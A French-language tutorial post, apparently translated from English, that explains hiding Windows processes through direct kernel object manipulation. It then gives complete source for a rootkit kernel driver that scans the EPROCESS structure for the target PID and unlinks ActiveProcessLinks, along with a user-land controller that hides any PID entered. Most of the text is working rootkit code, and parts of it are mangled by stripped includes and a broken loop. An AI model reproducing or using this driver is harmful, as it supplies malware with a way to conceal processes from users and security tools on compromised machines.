La DKOM (Direct kernel object manipulation) est une technique utilisée par certains rootkits kernel-levels pour cacher des processus en cours d'execution. Pour cacher un processus par DKOM, le rootkit modifie les membres "Flink" et "Blink" de "ActiveProcessLinks" dans la structure EPROCESS. Pour acceder au membre "ActiveProcessLinks", le rootkit a besoin de connaître son offset. Le problème est que cet offset est différent pour chaque version de Windows, et le rootkit a besoin d'hardcoder les offsets et de detecter la version du système quand il cache un processus. Cependant, j'ai trouvé la solution à ce problème. Après quelques recherches, j'ai trouvé que le membre ActiveProcessLinks est toujours localisé près du membre UniqueProcessId, dans la structure EPROCESS. Grace à cela, nous pouvons trouver la localisation d'ActiveProcessLinks en scannant EPROCESS à la recherche du PID du processus ciblé, ainsi nous évitons les offsets hardcodés. Le driver suivant cache des processus par DKOM sans offsets hardcodés. #include #include UNICODE_STRING DeviceName=RTL_CONSTANT_STRING(L"\\Device\\DKOM_Driver"),SymbolicLink=RTL_CONSTANT_STRING(L"\\DosDevices\\DKOM_Driver"); PDEVICE_OBJECT pDeviceObject; void Unload(PDRIVER_OBJECT pDriverObject) { IoDeleteSymbolicLink(&SymbolicLink); IoDeleteDevice(pDriverObject->DeviceObject); } NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP irp) { PIO_STACK_LOCATION io; PVOID buffer; PEPROCESS Process; PULONG ptr; PLIST_ENTRY PrevListEntry,CurrListEntry,NextListEntry; NTSTATUS status; ULONG i,offset; io=IoGetCurrentIrpStackLocation(irp); irp->IoStatus.Information=0; offset=0; switch(io->MajorFunction) { case IRP_MJ_CREATE: status=STATUS_SUCCESS; break; case IRP_MJ_CLOSE: status=STATUS_SUCCESS; break; case IRP_MJ_READ: status=STATUS_SUCCESS; case IRP_MJ_WRITE: buffer=MmGetSystemAddressForMdlSafe(irp->MdlAddress,NormalPagePriority); if(!buffer) { status=STATUS_INSUFFICIENT_RESOURCES; break; } DbgPrint("Process ID: %d",*(PHANDLE)buffer); if(!NT_SUCCESS(status=PsLookupProcessByProcessId(*(PHANDLE)buffer,&Process))) { DbgPrint("Error: Unable to open process object (%#x)",status); break; } DbgPrint("EPROCESS address: %#x",Process); ptr=(PULONG)Process; // Scan de la structure EPROCESS pour trouver le PID for(i=0;i<512;i++) { if(ptr[i]==*(PULONG)buffer) { offset=(ULONG)&ptr[i+1]-(ULONG)Process; // ActiveProcessLinks est localisé près du PID DbgPrint("ActiveProcessLinks offset: %#x",offset); break; } } if(!offset) { status=STATUS_UNSUCCESSFUL; break; } CurrListEntry=(PLIST_ENTRY)((PUCHAR)Process+offset); // Obtention de l'adresse de ActiveProcessLinks PrevListEntry=CurrListEntry->Blink; NextListEntry=CurrListEntry->Flink; // Unlink the target process from other processes PrevListEntry->Flink=CurrListEntry->Flink; NextListEntry->Blink=CurrListEntry->Blink; // On fait pointer Flink et Blink vers eux-mêmes CurrListEntry->Flink=CurrListEntry; CurrListEntry->Blink=CurrListEntry; ObDereferenceObject(Process); // Dereferencement du processus ciblé status=STATUS_SUCCESS; irp->IoStatus.Information=sizeof(HANDLE); break; default: status=STATUS_INVALID_DEVICE_REQUEST; break; } irp->IoStatus.Status=status; IoCompleteRequest(irp,IO_NO_INCREMENT); return status; } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject,PUNICODE_STRING pRegistryPath) { ULONG i; IoCreateDevice(pDriverObject,0,&DeviceName,FILE_DEVICE_UNKNOWN,FILE_DEVICE_SECURE_OPEN,FALSE,&pDeviceObject); IoCreateSymbolicLink(&SymbolicLink,&DeviceName); pDriverObject->DriverUnload=Unload; for(i=0;iMajorFunction[i]=DriverDispatch; } pDeviceObject->Flags&=~DO_DEVICE_INITIALIZING; pDeviceObject->Flags|=DO_DIRECT_IO; return STATUS_SUCCESS; } Cette application user-land est utilisée pour controler le driver. #include #include int main() { HANDLE hFile; DWORD ProcessId,write; hFile=CreateFile("\\\\.\\DKOM_Driver",GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,0,NULL); if(hFile==INVALID_HANDLE_VALUE) { printf("Error: Unable to connect to the driver (%d)\nMake sure the driver is loaded.",GetLastError()); return -1; } while(1) { printf("\nEnter PID: "); scanf("%d",&ProcessId); if(!WriteFile(hFile,&ProcessId,sizeof(DWORD),&write,NULL)) { printf("\nError: Unable to hide process (%d)\n",GetLastError()); } else { printf("\nProcess successfully hidden.\n"); } } return 0; } Traduit de l'anglais par S01den ;)